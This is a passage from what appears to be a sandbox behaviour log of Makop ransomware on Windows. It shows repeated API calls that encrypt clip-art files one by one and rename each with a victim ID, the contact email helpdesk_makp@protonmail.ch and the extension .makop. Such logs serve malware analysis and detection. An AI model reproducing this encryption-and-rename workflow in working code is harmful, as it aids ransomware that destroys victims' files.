lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1294, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239079.WMF", cAlternateFileName="")) returned 1 [0132.146] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF") returned 63 [0132.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.147] GetProcessHeap () returned 0x48a0000 [0132.147] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.147] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.147] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.147] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0132.151] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.151] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.151] GetProcessHeap () returned 0x48a0000 [0132.151] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.151] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.151] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.151] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.151] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.151] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.151] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.152] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.152] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.152] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.152] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.152] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.152] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1294, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1294, lpOverlapped=0x0) returned 1 [0132.153] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12a0, dwBufLen=0x12a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12a0) returned 1 [0132.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.153] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x12a0, lpOverlapped=0x0) returned 1 [0132.154] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.154] SetEndOfFile (hFile=0xf0) returned 1 [0132.159] GetProcessHeap () returned 0x48a0000 [0132.159] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.159] GetProcessHeap () returned 0x48a0000 [0132.159] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.159] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.161] CloseHandle (hObject=0xf0) returned 1 [0132.161] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1464, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239191.WMF", cAlternateFileName="")) returned 1 [0132.161] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF") returned 63 [0132.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.163] GetProcessHeap () returned 0x48a0000 [0132.163] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.164] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.164] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0132.167] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.168] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.168] GetProcessHeap () returned 0x48a0000 [0132.168] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.168] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.168] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.168] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.168] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.168] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.168] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.168] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.169] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.169] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.169] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.169] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.169] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1464, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1464, lpOverlapped=0x0) returned 1 [0132.170] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1470, dwBufLen=0x1470 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1470) returned 1 [0132.170] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.171] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1470, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1470, lpOverlapped=0x0) returned 1 [0132.171] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.171] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.171] SetEndOfFile (hFile=0xf0) returned 1 [0132.178] GetProcessHeap () returned 0x48a0000 [0132.178] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.178] GetProcessHeap () returned 0x48a0000 [0132.178] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.178] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.180] CloseHandle (hObject=0xf0) returned 1 [0132.180] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239611.WMF", cAlternateFileName="")) returned 1 [0132.180] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF") returned 63 [0132.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.181] GetProcessHeap () returned 0x48a0000 [0132.181] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.181] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.181] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.181] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0132.184] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.184] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.185] GetProcessHeap () returned 0x48a0000 [0132.185] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.185] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.185] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.185] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.185] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.185] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.185] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.185] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.185] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.186] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.186] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.186] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8424, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8424, lpOverlapped=0x0) returned 1 [0132.187] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8430, dwBufLen=0x8430 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8430) returned 1 [0132.188] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.188] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8430, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8430, lpOverlapped=0x0) returned 1 [0132.188] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.188] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.188] SetEndOfFile (hFile=0xf0) returned 1 [0132.195] GetProcessHeap () returned 0x48a0000 [0132.195] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.195] GetProcessHeap () returned 0x48a0000 [0132.195] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.195] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.197] CloseHandle (hObject=0xf0) returned 1 [0132.197] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239935.WMF", cAlternateFileName="")) returned 1 [0132.197] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF") returned 63 [0132.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.199] GetProcessHeap () returned 0x48a0000 [0132.199] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.199] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.199] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.200] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0132.214] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.214] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.214] GetProcessHeap () returned 0x48a0000 [0132.214] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.214] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.214] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.214] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.215] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.215] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.215] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.215] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.215] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.215] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.215] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.215] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.215] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1314, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1314, lpOverlapped=0x0) returned 1 [0132.216] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1320, dwBufLen=0x1320 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1320) returned 1 [0132.216] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.217] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1320, lpOverlapped=0x0) returned 1 [0132.217] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.217] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x13f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.217] SetEndOfFile (hFile=0xf0) returned 1 [0132.222] GetProcessHeap () returned 0x48a0000 [0132.222] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.222] GetProcessHeap () returned 0x48a0000 [0132.222] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.223] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft 